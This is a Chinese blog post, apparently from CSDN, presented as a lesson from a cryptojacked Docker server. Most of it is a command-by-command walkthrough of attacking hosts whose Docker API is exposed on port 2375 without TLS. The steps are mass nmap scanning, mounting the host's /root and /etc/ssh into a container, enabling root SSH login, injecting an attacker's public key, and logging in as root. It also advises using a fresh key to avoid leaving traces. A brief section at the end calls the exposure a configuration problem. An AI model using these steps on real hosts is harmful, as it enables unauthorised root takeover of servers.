Docker(十二)2375的血泪
记录一年前'百度云的docker服务器'被'挖矿'
一 docker开启远程连接
docker remote API --> 2375是docker远程操控的'默认端口'场景: 为了'方便IDEA调试','未经过TLS加密'-->没有'设置CA证书',通过'2375端口'可以'直接对远程的docker daemon进行操作,导致'被黑'
配置
'注意:服务侧关闭firewalld和selinux' -->systemctl stop firewalld--------- '必须用防火墙' ---------防火墙'开启2375端口'firewall-cmd --zone=public --add-port=2375/tcp --permanentsystemctl restart firewalld
获取2375端口
'ip.list' -->'ip列表'cat ip.list | xargs -n 1 -I {} nmap -sT -p2375 {} --open xargs 将'过滤出来的IP'一个一个的'分次送给nmap',-I {} 是指使用{}来'代替'传送的参数# Starting Nmap 7.01 ( https://nmap.org ) at 2020-09-05 09:37 CST
# Nmap scan report for ip
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...
如何搞破坏呢?
docker images '直接看到内容',说明这个主机的2375是'没有ssl验证的','基本满足入侵要求'
没有自己需要的容器,那下载一个
'没有会自动下载'docker -H tcp://172.25.2.157:2375 run --rm -it \-v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log centos /bin/bash
重点来了
'ssh pub key' 注入细节1: 在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config '宿主机的/etc/ssh/sshd_config' 的PermitRootLogin字段,如果是no就改成yes,允许root通过ssh登录-->'root权限获取''容器内': vi /tmp/ssh_etc/sshd_config然后在'自己的机器'上生成一对新的'pub key'(已经有ssh key的也建议'生成一个新的',不要使用自己日常使用的ssh pub key)-->'痕迹你懂的'
生成公钥和私钥
# 使用 ssh-keygen生成ssh-keygen -t rsa -C "wzj@qq.com"注意:执行命令后的'提示' Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以'选着/tmp/id_rsa'其它'提示'enter到底即可--------- 继续,'注入ssh pub key',回到刚刚'启动'的容器执行 ---------cat >> /tmp/root/.ssh/authorized_keys <<EOF>ssh-rsa AAA.... 后面'粘贴'你刚刚在自己机器生成的/tmp/'id_rsa.pub' -->'一定是公钥'
>EOF如果/tmp/root/.ssh目录不存在,就'直接创建'
登陆服务器
ssh -i 指定'秘钥登录'ssh -i /tmp/id_rsa root@172.25.2.157
最终效果
报错提示
'已知的错误'1) 公钥不对 --> '容器内配置成私钥'2) 文件权限不对 --> '容器'chmod 600 /tmp/root/.ssh/authorized_keys
二 2375是漏洞吗
2375'直接裸露地暴露在公网上'纯属是'用户习惯或者偷懒'的问题,2375可以在相对安全的'内部网络中'方便测试使用,并'不适合'使用在投入到'生产环境'中'docker info' --> '提示信息'如果将daemon直接暴露在一个TCP端口,将可能会被'以非root用户'去获'取宿主机'的root权限
官方配置ssl
自己写的
Docker(十二)2375的血泪相关推荐
- Docker(十二):Docker+Jenkins+Nginx+Spring Boot 自动化部署项目
前言 虽然Docker已经是风靡全球的容器技术了,统一环境避免环境问题上是Docker的主要吸引点之一,但使用时详细还是会遇到不少问题的,比如个人搭建时曾思考过这些问题: Jenkins官网既然有Do ...
- Docker最全教程之Python爬网实战(二十二)
Python目前是流行度增长最快的主流编程语言,也是第二大最受开发者喜爱的语言(参考Stack Overflow 2019开发者调查报告发布).笔者建议.NET.Java开发人员可以将Python发展 ...
- Docker最全教程之使用 Visual Studio Code玩转Docker(二十一)
VS Code是一个年轻的编辑器,但是确实是非常犀利.通过本篇,老司机带你使用VS Code玩转Docker--相信阅读本篇之后,无论是初学者还是老手,都可以非常方便的玩转Docker了!所谓是&qu ...
- Docker学习二:Docker镜像与容器
前言 本次学习来自于datawhale组队学习: 教程地址为: https://github.com/datawhalechina/team-learning-program/tree/master/ ...
- Golang 在十二赞的深度应用
Golang 在十二赞的深度应用 我们是"十二赞",一个致力于帮助电商卖家进入小程序的小团队,我们的主页是http://www.12zan.cn/.在实际运行中,我们使用了大量由g ...
- 万字面试分享贴!从十二个角度解析面试全流程!附互联网公司Offer难度系数分析...
点击上方"视学算法",选择加"星标"或"置顶" 重磅干货,第一时间送达 作者丨ELon Z 来源丨AI机器学习与知识图谱 编辑丨极市平台 本 ...
- 【Microsoft Azure 的1024种玩法】四十二. 通过Windows Admin Center快速创建Azure Virtual Machines
[简介] Windows Admin Center是微软开发的一套可以部署在本地基于浏览器的GUI的工具集平台,其平台可用于管理Windows相关服务器和PC机器,我们可以利用Windows Admi ...
- 纯干货!Java后端开发十二条经验分享!
前言 本文是博主从事后端开发以来,对公司.个人项目的经验总结,包含代码编写.功能推荐.第三方库使用及优雅配置等,希望大家看到都能有所收获 一. 优雅的进行线程池异常处理 在Java开发中,线程池的使用 ...
- 自然语言处理系列二十二》词性标注》词性标注原理》词性介绍
注:此文章内容均节选自充电了么创始人,CEO兼CTO陈敬雷老师的新书<分布式机器学习实战>(人工智能科学与技术丛书)[陈敬雷编著][清华大学出版社] 文章目录 自然语言处理系列二十二 词性 ...
最新文章
- python编写脚本方法_【Python】教你一步步编写banner获取脚本
- Spring Boot(十一)Redis集成从Docker安装到分布式Session共享
- P1083 借教室(标记永久化线段树/二分+前缀和)难度⭐⭐⭐★
- 必须学会的几种网络测试方法
- SAP SD 定价过程的16个字段的作用说明
- java.lang.IllegalArgumentException: No Retrofit annotation found. (parameter #4)
- IOS自动化打包介绍
- 两个结构体ifconf和ifreq
- css控制的代码,通过CSS控制把网页上的代码美化
- 如何关闭rsyslog服务?_Linux日志服务器设置过程
- adapter 适配器
- 【华为云技术分享】40%性能提升,华为云推出PostgreSQL 12 商用版
- 【clickhouse】clickhouse 副本与分片 分片详解
- CIO众论:转型路径和新技术实践
- 阿里云服务器centos7 安装docker 和docker-compose 及相关命令
- js html方法的区别吗,jquery append()方法与html()方法的区别及使用介绍
- c语言程序设计实验第二版答案,C语言程序设计实验指导及习题答案
- Mujoco中旋转轴的定义
- 微信小程序轮播图swiper使用
- C#软件注册与注册机